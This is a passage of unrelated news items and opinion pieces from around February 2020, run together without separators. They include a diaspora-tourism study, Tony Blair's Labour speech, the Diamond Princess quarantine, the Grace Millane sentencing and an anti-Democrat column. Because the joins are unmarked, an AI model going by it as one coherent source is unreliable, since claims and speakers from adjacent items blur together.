home country?" Answering questions like these is not easy, because diaspora tourists vary enormously. In the last decade alone, more than 4 million people migrated permanently to foreign countries every year. How they feel about their homelands is "largely dependent on the original contexts of their exit", according to the researchers. Whereas some are forced to flee their homes by war or oppression, others travel abroad to find new jobs and secure better lives for their families. As diverse as people's reasons for leaving are their motivations to return. Diasporic Jews may return to Israel as a form of pilgrimage, whilst European emigrants prefer ancestral or genealogical tourism. Many recent migrants who are still in touch with their families back home return to attend weddings and funerals and participate in family rituals. Along with their "complex migration histories and national origins", add the researchers, diaspora tourists vary significantly by generation. Compared with their children and grandchildren, first-generation migrants have more personal experience of their homelands and closer social connections with friends and relatives there. Yet little quantitative research has been done on how these and other important differences affect the future travel behaviour of transnational migrants. To cast light on this issue, and ultimately to find ways of enhancing tourism in destination countries, the researchers set out to compare migrant generations in terms of their motivations for diaspora tourism and examine the notion of "homeland" as home country vs hometown. The first step was to develop and pilot-test a questionnaire measuring the place attachment, travel motivation and travel intention of Chinese diaspora tourists. Then, the researchers used the questionnaire to gather detailed information from 808 overseas Chinese respondents living permanently in the United States and Canada. Focusing on the Chinese diaspora in North America enabled the researchers to "highlight the geographical and cultural distance between immigrant sending and receiving nations". The continent is home to huge numbers of international immigrants, and people with Chinese ethnicity are no exception, with populations exceeding 4.8 million in the United States and 1.7 million in Canada. The respondents were fairly evenly distributed in terms of age and gender. About 30% were first-generation migrants, having been born in mainland China, Hong Kong or Macau and then migrated to North America. Second-generation migrants made up 38% of the sample, 13% were third-generation migrants and 19% belonged to the fourth generation or later. Around 80% of the respondents had been to China, and most had stayed for a maximum of 7-14 days. A series of statistical analyses of the survey data yielded some intriguing insights into diaspora tourism. The findings not only contribute to research on migration and diaspora tourism, but also have important implications for destination marketing organisations (DMOs) in home countries, especially those with large numbers of international migrants living abroad, such as China, Mexico and the Philippines. The results suggest that overall, Chinese diaspora tourists have a strong sense of social and emotional attachment to their homeland, which powerfully motivates them to return. To bring tourism income to as many local communities as possible, DMOs in home countries should thus design advertising campaigns that specifically target homecoming tourists abroad and highlight social and emotional bonds with their destinations. The next finding was more surprising. Although transnational ties are generally believed to wither down the generations, the researchers discovered that the third- and fourth-generation respondents were actually more attached to their home country, China, than members of the second generation. Young people whose ancestors migrated several generations ago may thus be taking increasing interest in their ethnic origin, in what the researchers term a paradigm shift "from assimilation to transnationalism". Aside from their shared love for Chinese cuisine, generations of diaspora tourists can even be grouped into "distinct market segments", argue the researchers. As the later generations expressed a stronger attachment to home country than hometown, and a greater appreciation for Chinese culture than family heritage, marketing for this segment should have a national rather than a local flavour. Native-born Chinese are better enticed by a message that stresses "social connection and culture", advise the researchers. Tourism is one of the ways in which international migrants today maintain physical and emotional ties with their home countries. The researchers extend the scope of both migration and tourism studies by showing that migrants' homeland attachment significantly motivates their travel decision making, and indicating ways in which DMOs can most effectively target and segment this influential market of tourism consumers. However, their findings are based solely on the overseas Chinese population in North America. Chinese migrants today are members of a labour and trade diaspora shaped by China's economic rise, and thus have strong ties with their homeland. The researchers thus suggest that further studies are needed to determine whether the same conclusions apply to other modern diasporic groups, such as refugees, for whom the prospect of returning home at all, let alone for tourism, is likely to be far more distant. Wei-Jue Huang, Kam Hung and Chun-Chu Chen. (2018). Attachment to the Home Country or Hometown? Examining Diaspora Tourism Across Migrant Generations. Tourism Management, 68, 52-65. Mumbai, Feb 21 : Nearly seven-decades after her parents 'lived' the love-story of their youth through an exchange of letters, their doting daughter has now published those communication in a book form. The letters were written by the legendary Maharashtra political leader and former Chief Minister and Union Minister, Abdul Rahman Antulay to his home-maker wife Nargis - during their 'bethrothal' of four years when she was just 14 and he was all mature at 28 - and also later on after their marriage in May 1959. Eldest daughter Neelam Mushtaq Antulay had to carry out some major jobs before she could finally compile and create an Urdu and a Hindi book - 'Banaam Nargis' ('To Nargis'). First she had to convince her mother Nargis to part with them and later painstakingly sift through hundreds of pages of great emotional churning. "Banaam Nargis" will be released on Saturday at a mega-event by Nationalist Congress President Sharad Pawar and Congress Leader of Opposition in Rajya Sabha Ghulam Nabi Azad, while Chief Minister Uddhav Thackeray will rename the prestigious Anjuman-I-Islam' law college as "Barrister A. R. Antulay College of Law", in south Mumbai. "Banaam Nargis", a collection of entirely personal letters written from a loving boy to his beloved fiance during the conservative era, were more than merely love-letters," said Neelam. "I remember from my childhood, how my mother, who treasured a majority of these handwritten letters, (with a fountain-pen) -- would quietly take them out, read, again and again with a myriad emotions lighting or clouding her face, even after he passed away in December 2014," Neelam told IANS in a free-wheeling chat on Friday. She remembers a well known Urdu book, 'Zer-e-Lab' - a collection of letters written by the immortal writer Jan Nisar Akhtar -- father of his equally distinguished son, Javed Akhtar - to his teacher wife, Safiya. "This got me thinking... Why not highlight my Abbu's letters to my Ammi? But it took me mountainous efforts to convince my mother before she finally relented over two years ago. "Today, I consider it my humble tribute to my parents..." Neelam said. After Nargis parted with her 'treasure', Neelam got down to reading them -- around 300 -- and many more which she kept aside without even reading, as they were 'intimately personal' though her Ammi now had no reservations! "The letters are clear, concise, to the point.. he wrote prolifically, mostly daily, at times twice daily and posted them... From his bachelor home in Mumbai and Raigad to her parents' home in Bhiwandi (then called Bhimdi, Thane), unveiling a different era of their lives...," Neelam says with a heavy heart. To a query, she points out that "of course, there was a lot of romance" but there was also a lot more. "He shared with her practically everything... His joys and disappointments, achievements or failures, the highlights or downsides of his blooming legal career after he returned as Barrister from Lincoln's Inn, London, his maiden speech in public life with luminaries like Pandit Jawaharlal Nehru and others present... It opened up a whole new world of my father which I never knew," said Neelam. In his inimitable style, he would recount many incidents, anecdotes with references to the then prevalent social, cultural and political events and conveyed a lot more than what he wrote of what was in his heart and mind. "He 'lived' his life with his love (Nargis) through these letters... These pages provide rare glimpses into history... I now feel there was something magical about them... "Though during their engagement, my mother was too young and many things were beyond her comprehension coming from a highly qualified Barrister, but today I understand why she keeps opening the trove to read them again and again," smiles Neelam. Surprisingly, she is the first member of the family allowed by Nargis to read the letters, described by an editor as apearls of words and wisdom'. No other family members - Neelam's politician husband Mushtaq, sister Shabnam and her husband Justice Amjad Sayed, television personality and upcoming politician brother Naved Antulay, and the youngest sister Mubeena and her businessman husband Ejaz Sayed. She says that her mother was very less 'reciprocal' and barely may have replied averaging to 10 per cent - probably one for every 10 letters from the besotted Abdul! "But he was never offended and both enjoyed their life, loved their children and brought us all up with dedication and care... Surprisingly, my mother revealed that one day, she destroyed all the letters she had written to Antulay!" said Neelam. The earliest of the letters were written by Antulay on 20-10-1957 from 'Bambai' (Bombay, now Mumbai) to 'Bhimdi', and the last of it was penned by him to Nargis on 22-10-1961 to 'Bambai' from London where he was part of a Congress Party delegation. "I have mostly tried to transliterate the letters in Hindi to retain the special flavour... They are best read in Urdu, followed by Hindi, but any suggestions to translate them in English would kill their very essence," she laughed. Neelam is confident that most people "will fall in love with my parents" and learn a lot about life after reading these letters in 'Banaam Nargis'. (Quaid Najmi can be contacted at: q.najmi@ians.in) Last year, Barack Obama told a student audience in Chicago: This idea of purity and that youre never compromised and youre always politically woke you should get over that quickly. The world is messy. There are ambiguities. People who do really good stuff have flaws. People who you are fighting may love their kids, and share certain things with you. I do get a sense sometimes now among certain young people, and this is accelerated by social media there is this sense sometimes of the way of me making change is to be as judgmental as possible about other people, and thats enough. If I tweet or hashtag about how you didnt do something right or used the wrong verb, then I can sit back and feel pretty good about myself. Did you see how woke I was, I called you out. Then Im going to get on my TV and watch my show Thats not activism. Thats not bringing about change. If all youre doing is casting stones, youre probably not going to get that far. Tony Blair gave an equivalent message when he spoke at Kings College London yesterday. There was the old showman. The voice a little more hesitant but the grin as broad as ever. All the familiar rhetorical ticks were used that fey diffidence when he wanted to emphasise a point on which he was especially emphatic. (Saying to the people you need to win we dont like you is not a great start to a political conversation to be honest.). The event marked the 120th anniversary of the Labour Party. Blair is not one for nostalgia, his great theme is wanting everything to be new. Yet he did manage the following reference: I thought hard about taking stock on the Labour Partys 120th anniversary. Its not as if my advice is particularly welcome to todays Party. But then it occurred to me that there are only two people born in the last 120 years who have actually won an election for Labour. And alas Harold Wilson is long gone. As for the other two Labour Leaders to have won an election, Ramsay MacDonald was born in 1866 and Clement Attlee in 1883. Out of 120 years, Labour has been in power for just over 30 of them. That is a stark statistic. To say his advice is not particularly welcome he went on to say he wouldnt endorse any leadership contender to avoid harming anyones chances was not self-deprecatory humour. Its an understatement. There is a deep hostility towards him among large swathes of current Labour Party members. A YouGov poll of Labour members found 62 per cent unfavourable including 42 per cent who declared themselves very unfavourable. If anything, the Lib Dems are even less keen on him. So his vague pitch about some kind of merger or alliance between Labour and the Lib Dems is unlikely to be well received. In an echo of Obama, he cautioned against shouty denunciation of anyone who disagrees. Then Blair told his audience: The Labour Party is not an NGO, and not a pressure group. Its aim is not to trend on twitter, or to have celebrities (temporarily) fawn over it, or to glory in a bubble of adulation pricked by the sharp point of the first tough decision. Our task is to win power and get our hands stuck into the muddy mangle of governing, where out of it can be pulled the prize of progress measured not in fine words spoken at a distance, but in real grounded changes in the wellbeing of the people, some of which they may thank us for and many of which they will never even know were down to our struggle to place self discipline over self indulgence. Though Labour supporters may not have much inclination to listen to Blair, I think he does have some useful message for Conservatives both in his speech and the Q&A session afterwards with Rachel Sylvester of The Times. On Brexit he is vulnerable, of course. He is keen to tell the Lefties (or progressives as they like to call themselves) that to refuse to compromsie is a mistake, as you end up with no power at all. Yet did he apply this lesson to himself when it came to his refusal to accept the referendum result to leave the EU? He did not. Blair said that patriotism was preconditional for a party to be elected: You may decide you will vote on the basis on the health service but if you have got any doubts about a partys patriotismIm afraid people had a lot of doubts. Indeed. But Labours resistance to Brexit did not enhance its patriotic credentials. Still, I did think it interesting when Sylvester asked him if Labour should campaign for the UK to rejoin the EU. He said: No. You just cant Im afraid. Long term, who knows. But you have got to give it a chance.The country does not want to redebate Brexit. If Blair is not going to push for this then who will? It does help to settle the question. There was then an interesting point from Blair on opinion polling: I learnt through the 1980s and 1990s the fallacy of polling individual policy and thinking you are learning something. Each individual policy might be popular but you put them altogether and its not popularYou go back to the 1980s and all Labours policies, except unilateral nuclear disarmament, were popular. So how come Margaret Thatcher kept winning by a landslide. I kept puzzling over it. Finally there was firm criticism of the Labour embracing identity politics and seeking to engage in a culture war on such issues as transgender rights: We dont need to be fighting that culture war. If you are going out and you are going to start trying to advocate things in a kind of finger-jabbing, sectarian way. You dont sign up to what Im saying or Im going to disrupt your meetings and shout at youthen you are not going to win that battle. You are just going to put people off. I was a bit surprised by this. The Blair years seemed to include a fair bit of identity politics gay rights, feminism, all-women shortlists. Great attention was paid to keeping ethnic minority votes in Labours electoral coalition. But the threat to free speech from some of the demands from special interest groups has become much more serious. Either way, Blairs warning is welcome. Edmond Burke said: Because half a dozen grasshoppers under a fern make the field ring with their importunate chink, whilst thousands of great cattle, reposed beneath the shadow of the British oak, chew the cud and are silent, pray do not imagine that those who make the noise are the only inhabitants of the field. So often Conservatives have been craven towards unreasonable demands that might be favoured by the media class but not by public opinion more broadly. Blair is right to warn Labour that they will lose by seeking to placate such lobby groups and hounding those who disagree. All the more reason why Conservatives should stand firm. Being true to our principles means championing individual freedom rather than engaging in a bidding competition over sectional grievances. That approach is also popular. Appointment 21 February 2020 D'Amelio joined the culinary team at Boar's Head in August 2018 and was promoted to Executed Chef in December 2019. In his new role, he will manage all operations related to the culinary department, including menu development and staff and manager training. First introduced to cooking by his mother, D'Amelio was immediately hooked as early as age four. As a teen, he worked at his family's restaurant in Spring Hill, Florida, which led him to pursue the hospitality program at Johnson and Wales in Miami. Prior to joining Boar's Head Resort, D'Amelio was the Sous Chef at Glenmore Country Club. D'Amelio currently resides in Charlottesville. More than three years after The Burger Joint announced it would open a second burger outpost in the Heights, that restaurant at 2002 N. Shepherd will open for business today. Owners Matthew Pak and Shawn Bermudez (who owns Present Company) are ready to unveil their new location, a 2,600-square foot restaurant with a 3,300-square-foot patio and more than 100 parking spots. It will offer the same menu of burgers, hot dogs, fries and shakes as the original which opened at 2703 Montrose in the former Little Bigs location in 2015. One new menu item is aimed at delighting serious burger aficionados: the $12 Cowboy Burger made with 25-day dry-aged beef from Black Hill Ranch, crispy onion strings, grilled onions, pepperjack cheese and spicy barbecue sauce. The burger makes its debut just in time for all the cowboys and cowgirls headed into town for the Houston Livestock Show and Rodeo beginning March 3. Source: Xinhua| 2020-02-21 19:54:29|Editor: xuxin Video Player Close TOKYO, Feb. 21 (Xinhua) -- A third group of passengers on Friday are disembarking from the coronavirus-hit Diamond Princess cruise ship docked in Yokohama near Tokyo, with health officials hoping that around 450 passengers will leave the vessel by the end of Friday. A day earlier, a second group of around 500 passengers disembarked from the vessel, with the departures following 443 people, mainly elderly, who left the ship on Wednesday after their two-week quarantine period had concluded and they had all tested negative for the virus. Anyone who has come into close contact with someone who was confirmed to have become infected with the virus, will now be required to stay at a government-provided facility here, regardless of whether they test negative or not. The period of their stay at the facility will be based on when the person first came into contact with the infected person and when the person carrying the virus was then removed from the quarantined ship, health officials said. On Thursday, two Japanese passengers from Diamond Princess cruise ship died after being infected with the virus, with the deaths of the two elderly passengers, an 87-year-old man and an 84-year-old woman, marking the first fatalities among the quarantined ship that has been docked in Yokohama Port near Tokyo. According to health officials, both individuals had preexisting conditions and the man was taken off the ship on Feb. 11 to receive treatment at a medical facility in Kanagawa Prefecture near Tokyo, with the woman following a day later and treated in Tokyo after both had tested positive for the virus. Health officials said they are trying to track the infection route to the deceased passengers Japan's Ministry of Health, Labor and Welfare, meanwhile, a day earlier also said that there were 29 passengers from the cruise ship in their 40s to 80s that are in a serious condition. Of these, 15 of them are Japanese nationals, the ministry said. Of the 29, and including the two who have died, the ministry said that 28 of them have tested positive for the virus. The Diamond Princess cruise ship was initially carrying around 3,700 passengers and crew from more than 50 countries and regions. The vessel was put under quarantine at the port in Yokohama on Feb. 5 after a passenger who had disembarked in Hong Kong was found to be infected with the virus. Maharashtra Chief Minister Uddhav Thackeray on Friday said that he discussed the Citizenship Amendment Act (CAA), Register of Citizens (NRC) and Population Register (NPR) in his meeting with the Prime Minister Narendra Modi and no one should be scared of the new Citizenship law. "We have discussed the Citizenship Amendment Act, Register of Citizens and National Population Register. I have already cleared my stance on these issues. This law (CAA) is not to take away citizenship from anyone. However, this law is about giving citizenship to the minorities of the neighboring countries. No one should be scared of CAA," Thackeray said at the press conference after meeting Prime Minister. "Regarding the NRC, the Centre has said that it will not be held nationwide. As for the NPR and Census, Census is conducted every 10 years and I have assured all my state's residents that their citizenship will not be taken away," he added. Speaking about the other issues discussed in the meeting with Prime Minister Modi, Uddhav said, "A few days ago I wrote a letter regarding GST. We also held discussions over the Pradhan Mantri Fasal Bima Yojana." The Maharashtra Chief Minister was accompanied by his son Aaditya Thackeray and party leader Sanjay Raut in the press conference. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With his new movie Downhill in theaters, Will Ferrell discussed his film over some of the spiciest hot wings imaginable on the latest episode of Hot Ones. The 52-year-old actor was supposed to be joined by his Downhill co-star Julia Louis-Dreyfus, but she was feeling 'under the weather,' so host Sean Owens only had Ferrell to tackle the 10 spicy wings with. The actor opened up about some of the logistical challenges of shooting the film in Austria, with limited sunlight, though he quickly started to regret going on the show. Hot Will: With his new movie Downhill in theaters, Will Ferrell discussed his film over some of the spiciest hot wings imaginable on the latest episode of Hot Ones Regrets: The actor opened up about some of the logistical challenges of shooting the film in Austria, with limited sunlight, though he quickly started to regret going on the show 'We're shooting most of the movie outdoors, you lose the light right around 3:30, 4 o'clock in the afternoon, shooting in the winter time, so a lot of 4:30, 5 AM wake-up calls,' he said. Downhill is an English-language remake of the 2014 Swedish film Force Majeure, following a couple who re-evaluate their lives after barely escaping an avalanche during their French Alps vacation. Ferrell revealed that the humor in this new movie, 'comes from the fact that we play very relatable characters.' 'We're shooting most of the movie outdoors, you lose the light right around 3:30, 4 o'clock in the afternoon, shooting in the winter time, so a lot of 4:30, 5 AM wake-up calls,' he said Relatable: Ferrell revealed that the humor in this new movie, 'comes from the fact that we play very relatable characters' 'You kind of, at the end of the movie, in a beautiful way, don't really know what's gonna happen with them, which I think we find a lot of times in movies,' he added. Ferrell started to regret coming on the show, stating that the second hot wing of 10 - with increasingly hot sauces on each - was, 'already doing a number on me.' He also reminisced about discovering legendary Chicago Cubs broadcaster Harry Caray's TV broadcasts, and marveling at what he'd say on the air. Will on Harry: 'I just couldn't believe the stuff he would say in the middle of a game,' Ferrell said. 'I remember him getting really mad at the Cubs pitcher at the time, Heathcliff Slocumb,' before giving an impression of Caray saying, 'If he's throwing hard I'm a Chinaman' 'I just couldn't believe the stuff he would say in the middle of a game,' Ferrell said. 'I remember him getting really mad at the Cubs pitcher at the time, Heathcliff Slocumb,' before giving an impression of Caray saying, 'If he's throwing hard I'm a Chinaman.' 'I was like, "Did he just say Chinaman on a live broadcast?" I kept watching him and studying him and down the road I decided to impersonate him.' Ferrell cut his teeth in comedy through the improv theaters like The Groundlings, and when asked if that is still the best way to make a splash in comedy, or through the Internet, the actor thought it was, 'a combination of both.' Improv: Ferrell cut his teeth in comedy through the improv theaters like The Groundlings, and when asked if that is still the best way to make a splash in comedy, or through the Internet, the actor thought it was, 'a combination of both' 'Now you have this whole other universe, whole other outlet to record sketches and put it online and have people discover it that way,' he said. He added, though, 'at the same time, there's no substitute for honing your craft in front of a live audience.' After his stint at the Groundlings, Ferrell joined Saturday Night Live in 1995 By Express News Service KOCHI: Muthoot Finance Ltd, one of the largest gold loan companies in India, has successfully raised $ 550 million from overseas investors through a fixed-rate senior secured note with a tenure of 3.5 years at 4.40 per cent rates. The rate is better than its fundraising in October 2019 when the Kochi-based NBFC had successfully collected $ 450 million for a 3-year-tenor at 6.125 per cent rate. The proceeds of the issue will be used for permitted purposes including onward lending in accordance with RBIs ECB Guidelines and other applicable laws, said Muthoot in a release here. The transaction was officially launched on Feb 18, 2020, following which the company engaged several investors during a series of fixed income investor calls in Hong Kong, Singapore, London, and US. On the back of high-quality feedback, the transaction was launched with initial pricing guidance of 4.750 per cent range on February 20. "Following a strong order book momentum supported by high-quality real money investors, the Company was able to tighten pricing by 35bps to 4.400 per cent," the release said. The final order book was in excess of $ 1.6 billion with an oversubscription of more than 2.9 times. The transaction witnessed 38 per cent participation from Asia, 13 per cent from Europe and 50 per cent from the US; with 89 per cent investments from fund managers, 6 per cent from private banks, 3 per cent from insurance & banks and 2 per cent from others. The bonds will be listed on the International Securities Market of the London Stock Exchange. The company had issuer rating of Long Term rating of BB+ with Stable Outlook by Fitch Ratings, BB with Stable Outlook by S&P Global Ratings and Ba2 Corporate Family Rating with Stable Outlook by Moodys Investor Service. Deutsche Bank and Standard Chartered Bank acted as the Joint Global Coordinators and Joint Book Runners for the issue. M.G.George Muthoot, Chairman, Muthoot Finance said: The response from international bond investors in our second issue is quite overwhelming. We are glad to know that global investors have understood our unique credit story acknowledging our long track record in the gold loan business. This is a recognition of Indias NBFC sector. This fundraiser will enable us to further diversifying and strengthening our sources of funding. We look forward to strengthening our partnership with global investors. Two people, including a Captain TV journalist were killed in a car accident at Kallankattupudur in Tamil Nadu on February 18. The IFJ is saddened on the death and urges all journalists to remain safe when reporting. B Chandrasekar, 36, who worked as a reporter for Captain TV and university student, R Kishore, 19, were killed in the car accident at 12:45am on Coimatore-Pollachi Road while travelling from Malumichampatty, the residential village in the Coimbatore-South taluk, Coimbatore district. The two were killed when the car they were driving rammed into a divider. While Kishore died on the spot, the Captain TV journalist, Chandrasekar died on the way to Pollachi Government Hospital. A third person in the car, 36-year-old Senthilkumar was injured and received first aid at Pollachi Government Hospital. Chandrasekar leaves behind his wife, six-year old son and two-year old daughter. The IFJ said: This is a deeply unfortunate accident and as always it is a tragedy when journalists are killed. The IFJ mourns the death of B Chandrasekar." Head of the Bolivian Supreme Electoral Tribunal (TSE) Salvador Romero confirmed that former President Evo Morales had been refused to register as a Senate candidate, Trend reports citing Sputnik. On Wednesday, Bolivias Deber newspaper reported about this TSE decision, citing sources in the Movement for Socialism party of Morales. Over the failure to comply with the permanent residency requirement, the court decided to reject the bid for the Senate of Evo Morales from the Cochabamba state, Romero said at a press conference on late Thursday. Former Foreign Minister Diego Pary Rodriguez was also banned from running for the Senate. The new presidential and parliamentary elections are scheduled for May 3, with Morales being already barred from running for the top office. T he killer of British backpacker Grace Millane has been sentenced to life in prison with a minimum non-parole period of 17 years. Jesse Kempson strangled Miss Millane to death in New Zealand on the night of 1 December 2018, the eve of her 22nd birthday. Now 28, will spend at least 17 years behind bars for her murder after being sentenced at Auckland High Court on Friday morning. Kempson killed her in his hotel room before burying her body in a shallow grave on the outskirts of Auckland. He was found guilty and convicted of murdering the young woman, from Wickford in Essex, last November. Miss Millane's mother Gillian, speaking to the court via a video-link on Friday, confronted her daughters killer as he was jailed for life. Gillian Millane holds a family photograph during her televised victim impact statement from her home in the UK / Getty Images Addressing the murderer directly in an emotional statement read from the family home, she spoke about her daughter's final moments. She said: The terror and pain she must have experienced at your hands, as a mother I would have done anything to change places with her. She died terrified and alone in a room with you. Mrs Millane added: The tears I shed are never-ending at the thought of never having the chance to kiss my Grace goodbye. In the dock, Kempson kept his head bowed, rubbed his face and had his eyes closed, the New Zealand Herald reported. Murder typically comes with a life sentence in New Zealand, so at stake at the sentencing was the number of years the killer would serve in jail before becoming eligible for parole. Prosecutors had argued for 17 years while defence lawyers said 12 was reasonable. Jailing him for life with a minimum term of 17 years, Justice Simon Moore told the murderer his actions amounted to "conduct that underscores a lack of empathy and sense of self-entitlement and objectification". Miss Millane had been in New Zealand for less than two weeks when she matched with Kempson on Tinder. She died the night they first met in person. Grace Millane's Cousin Says Sentencing Of Grace's Killer Won't Bring Closure Her parents were forced to endure a three-week trial in Auckland. Her killer refused to give evidence and instead put Miss Millane's sex life in the spotlight. Miss Millane, a Lincoln University graduate, was on a round-the-world trip when she was murdered. She got in touch with the man, who would later kill her, through the Tinder dating app and they went for drinks in bars in Auckland on December 1. They were caught on camera kissing and holding hands during the date, before walking back to the CityLife hotel where the man was living in a 190-a-week third-floor apartment. Miss Millane messaged her best friend during the date, saying, I click with him so well. She added: I will let you know what happens tomorrow. CCTV from the hotel lift showing her exiting on the third floor was the last time she was seen alive. In the hotel room, Kempson pinned Miss Millane down and throttled her for at least five minutes. He took photos of her naked body and viewed pornography on his phone, before turning his attention to covering up his crime. Police said phone data showed the killer had browsed websites for large duffel bags, suitcases and car hire after Miss Millane had died. Kempson was caught on camera buying cleaning products, a suitcase, and renting a car. At the same time he was arranging another date. Miss Millanes father flew to Auckland when her disappearance was being treated as a missing person inquiry. Her body was found on December 9. Kempson told a series of lies to police, including a claim that they had gone their separate ways after the date and he had spent the rest of the night drinking in a bar. When his story began to unravel, he admitted killing her but insisted it was an accident that happened during rough sex. He then mounted a defence at trial centred on evidence of Miss Millanes sex life and interest in BDSM. However, his defence was rubbished by a forensic pathologist, who said pressure must have been applied to Miss Millanes neck for between five to 10 minutes, and he had never heard of an accidental death due to consensual sexual strangulation. State utility should reconsider plan to raise battery charge fees A controversy has arisen over whether to bring an end to the discount system of battery charge fees for electric vehicles. Korea Electric Power Corp. (KEPCO) recently expressed its intention to push ahead with a sunset clause part of a rule or contract that states when it will end or the conditions under which it will end for the discount system, sparking strong oppositions from users. Jeju Province Governor Won Hee-ryong also issued a statement on Tuesday, which criticized the government for running counter to the popularization of EVs and called for the improvement of the related policy. "The government, which has applied a zero base rate for battery charging in the past three years, plans to raise it 50 percent from July and to 100 percent in 2022 as well as do away with the 50-percent discount for charge fees," Won said. Stressing that electric vehicles are one of the primary means to reduce fine dust and greenhouse gas emissions, he railed against the Moon Jae-in administration for not acknowledging this reality. KEPCO has been applying the discount system on the condition of attaching the so-called sunset provision to it. The state utility has already extended its implementation period once by taking the market situation into account. KEPCO's stance is understandable. It is following protocol and sees accusatory remarks made by several media outlets and politicians as a form of reneging on the agreement. If KEPCO forfeits its principle, yielding to adverse public opinions, it will create an undesirable precedent. Nevertheless, the state utility needs to be cautious in fulfilling the sunset clause. It should first consider whether or not the market conditions would allow for the discount to be discontinued. The concessionary battery charging fees were meant to popularize electric vehicles. The low fueling cost was the biggest advantage of EVs compared with gasoline or diesel cars. If and when the discount vanishes, fuel costs will rise to more than twice that of current levels. Given the introduction of a discount system was designed to revitalize the EV sector; officials should be cautious in abolishing it. Otherwise, they could end up burning the whole house to get rid of a bedbug. Syracuse, NY -- A Salina man, who skipped town the day his ex-girlfriends young son died, will be arraigned Monday after being caught in North Carolina. Matthew Brennan, 24, was first arrested in August 2018 when Baby Mason, then 2 months old, was found with a permanent brain injury. Brennan was dating the babys mother at the time. Onondaga County District Attorney William Fitzpatrick has said the baby was apparently injured because he wouldnt stop crying. Brennan was free on bail after his initial arrest. But Mason never recovered from his injuries, eventually dying 15 months later, in November 2019. The day Mason died, Brennan took off, according to Onondaga County Sheriffs Sgt. Jon Seeber. When he missed his next court date, sheriffs detectives assigned to the U.S. Marshals Service Fugitive Task Force worked with the feds to find Brennan, Seeber said. Detectives tracked him over 700 miles south to Winnabow, North Carolina, he said. Brennan was caught there Nov. 21 and brought back to Syracuse. A grand jury has since indicted him on the manslaughter charge, which is punishable by up to 25 years in prison. Authorities have not said what may have caused the fatal injuries. The indictment simply accuses Brennan of causing a brain injury that led to blood pooling and swelling, resulting in a permanent injury that caused the toddlers death. Baby Mason only had two months of normal life before the injury; his last 15 months were spent struggling with the brain injury. Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. Amid growing concerns over financial security in retirement in an aging society, the Credit Suisse Research Institute polled 1,000 people in 16 countries. More than half of Koreans wish to work after retirement, an online poll suggests. Some 63 percent of the Korean respondents said they want to work after reaching retirement age, the third highest proportion among countries surveyed behind India at 75 percent and Indonesia at 65 percent. Germany had the lowest proportion with 18 percent, followed by Canada with 25 percent and Switzerland with 28 percent. Credit Suisse said, "In many countries, the pension system is too rigid to meet the changing needs of society." President Donald Trump speaks at the South Lawn of the White House on June 10, 2019. The Trump administration is planning a 5G summit at the White House in early April as part of its global effort to ensure that Chinese telecom giant Huawei does not become dominant in next generation communications technologies, officials told CNBC. The event has not been officially announced yet. The president's top economic advisor, Larry Kudlow, told reporters Friday that such a meeting would happen. "We're going to have a lot of them in the White House to have a discussion. I'm sure the president will join us in part. That would include Samsung, that would include all of our guys," Kudlow said. The development comes at a crucial moment for U.S.-Chinese relations. China, which is grappling with the coronavirus outbreak, last month signed a "phase one" trade deal with Trump as both sides look to complete additional phases. Behind the scenes, a senior administration official said telecom and technology CEOs have been visiting with President Donald Trump at the White House to explain their views on how to make sure that American firms continue to dominate the communications industry. Much of the commentary criticizing Michael Bloomberg's statement about farmers and factory workers has focused on his disparagement of the intellect of farmers. But his disparagement of factory workers shows how the modern Democratic Party has abandoned factory workers and, more specifically, private industry labor unions. "I could teach anybody, even people in this room, no offense intended, to be a farmer," Bloomberg said. "It's a process. You dig a hole, you put a seed in, you put dirt on top, add water, up comes the corn. You could learn that." "Then we had 300 years of the industrial society. You put the piece of metal on the lathe, you turn the crank in the direction of the arrow, and you can have a job." According to Bloomberg, all a factory worker did was put a piece of metal on a lathe and turn a crank in the direction of the arrow. This description must come as a surprise to anyone who has worked in a factory, steel mill, machine shop, foundry, warehouse, coal mine, or other similar job involving physical labor. The Democratic Party of Franklin Roosevelt, Harry Truman, John Kennedy, and Hubert Humphrey was built on a coalition of which private industry labor unions were a major component. Trade unions such as the United Auto Workers; Steelworkers; Machinists, which represent factory workers; and Mineworkers were an integral part of the Democratic Party. No serious candidate for the presidency would insult or disparage physical labor workers, especially workers who belonged to labor unions. But now Bloomberg can say what he said without any criticism from the other Democratic candidates; the DNC; and, worse, from the labor unions. In the past, Walter Reuther of the UAW, George Meany of AFL-CIO, I.W. Abel of the Steelworkers, John L. Lewis of the Mineworkers, and others would have destroyed Bloomberg's candidacy in a New York minute. Moreover, Bloomberg would have never made such a stupid statement if he knew there would be pushback from the unions, or if the present-day unions had leaders such as Reuther, Meany, or Lewis. Bloomberg's statement shows how the modern Democratic Party has abandoned workers and regards American workers as expendable in the global economy. Bill Clinton's NAFTA deal that caused the loss of many American manufacturing jobs, which was supported by the establishment Republicans like Bush and Romney, is consistent with Bloomberg's views. It is difficult to understand why private-sector unions still support Democrats. For example, Obama and Hillary promised to bankrupt the coal industry, which resulted in the loss of over 75,000 coal miners. Obama disallowed the Keystone Pipeline, which cost thousands of jobs to unions members such as Teamsters, plumbers, laborers, machinists, and operating engineers. In both cases, Obama did the bidding of the environmental groups over the interests of workers in labor unions and non-union employees. The current Democratic candidates all favor stopping fracking, and restrictions on drilling for oil and gas, and mining for coal. The "Green New Deal" will destroy the coal, gas, and oil industries that employ many Americans at good-paying jobs. We will again be dependent on foreign oil. They all favor open borders with health care for illegal aliens, which will depress wages for American workers. Bernie Sanders calls himself a socialist, which is a polite word for a communist. Sanders would impose a single-payer health insurance plan run by the federal government. Union workers would lose the good health plans they have negotiated. The federal government would run most industries. That is socialism. It requires a strong, powerful national government that imposes its will to run the economy. The other candidates are Bernie-Lite. They support his goals but say it in a more pleasant but devious, dishonest manner. The Bernie socialists will sacrifice American workers for the "climate change" gang and open borders. The Democratic Party does not represent American workers. Image: Gage Skidmore via Flickr. Police reports: Broken mirrors Three calls were made to the Butte Detention Center before 8 a.m. Thursday from residents living on the 3100 block of Edwards. Sometime during the night, four vehicles had their mirrors broken off. Early Friday morning, before 7 a.m., five calls came in from residents living in the 1200 block of East Second that the mirrors on five vehicles were also broken off. There are no suspects at this time. Taken into custody At 5 p.m. Thursday, police arrived in the 600 block of Broadway to assist Probation and Parole in taking into custody Richard Daniel White, 33, for a probation violation. Rauh picked up On Feb. 3, police responded to a home burglary call on the 2000 block of Beacon Road. During the investigation, it was determined a firearm, jewelry, tools and other items were taken. The following day they 